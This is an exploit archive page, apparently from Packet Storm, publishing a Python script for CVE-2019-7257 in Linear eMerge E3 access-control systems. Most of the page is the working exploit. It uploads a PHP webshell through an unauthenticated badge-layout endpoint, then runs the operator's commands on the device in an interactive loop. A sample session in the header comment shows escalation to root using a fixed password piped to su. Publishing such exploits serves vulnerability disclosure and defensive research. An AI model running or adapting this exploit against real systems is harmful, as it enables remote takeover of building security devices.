what you don't know can hurt you

Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution

Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution
Posted Nov 12, 2019
Authored by LiquidWorm | Site applied-risk.com

Linear eMerge E3 versions 1.00-06 and below arbitrary file upload remote root code execution exploit.

tags | exploit, remote, arbitrary, root, code execution, file upload
advisories | CVE-2019-7257
MD5 | 7cb54d49b3539c9a3b2258832481a863

Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution

Change Mirror Download
#!/usr/bin/env python
#
# Linear eMerge E3 Arbitrary File Upload Remote Root Code Execution
# Affected version: <=1.00-06
# CVE: CVE-2019-7257
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# Discovered by Gjoko 'LiquidWorm' Krstic
#
#####################################################################
#
# lqwrm@metalgear:~/stuff$ python e3upload.py 192.168.1.2
# Starting exploit at 17.01.2019 13:04:17
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ echo davestyle | su -c id
# Password:
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ exit
#
# [+] Deleting webshell.php file...
# [+] Done!
#
#####################################################################

import datetime
import requests
import sys#####
import os######

piton = os.path.basename(sys.argv[0])

badge = "/badging/badge_layout_new_v0.php"
shell = "/badging/bg/webshell.php"

if len(sys.argv) < 2:
print "\n\x20\x20[*] Usage: "+piton+" <ipaddress:port>\n"
sys.exit()

ipaddr = sys.argv[1]
vremetodeneska = datetime.datetime.now()

print "Starting exploit at "+vremetodeneska.strftime("%d.%m.%Y %H:%M:%S")
print

while True:
try:
target = "http://"+ipaddr+badge

headers = {"User-Agent": "Brozilla/16.0",
"Accept": "anything",
"Accept-Language": "mk-MK,mk;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=----j",
"Connection": "close"}

payload = ("------j\r\nContent-Disposition: form-da"
"ta; name=\"layout_name\"\r\n\r\nwebshel"
"l.php\r\n------j\r\nContent-Disposition"
": form-data; name=\"bg\"; filename=\"we"
"bshell.php\"\r\nContent-Type: applicati"
"on/octet-stream\r\n\r\n<?\nif($_GET['cm"
"d']) {\n system($_GET['cmd']);\n }\n?"
">\n\r\n------j--\r\n")

requests.post(target, headers=headers, data=payload)

cmd = raw_input("lighttpd@"+ipaddr+":/spider/web/webroot/badging/bg$ ")
execute = requests.get("http://"+ipaddr+shell+"?cmd="+cmd)
print execute.text
if cmd.strip() == "exit":
print "[+] Deleting webshell.php file..."
requests.get("http://"+ipaddr+shell+"?cmd=rm%20webshell.php")
print "[+] Done!\n"
break
else: continue
except Exception:
print "Error!"
break

sys.exit()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close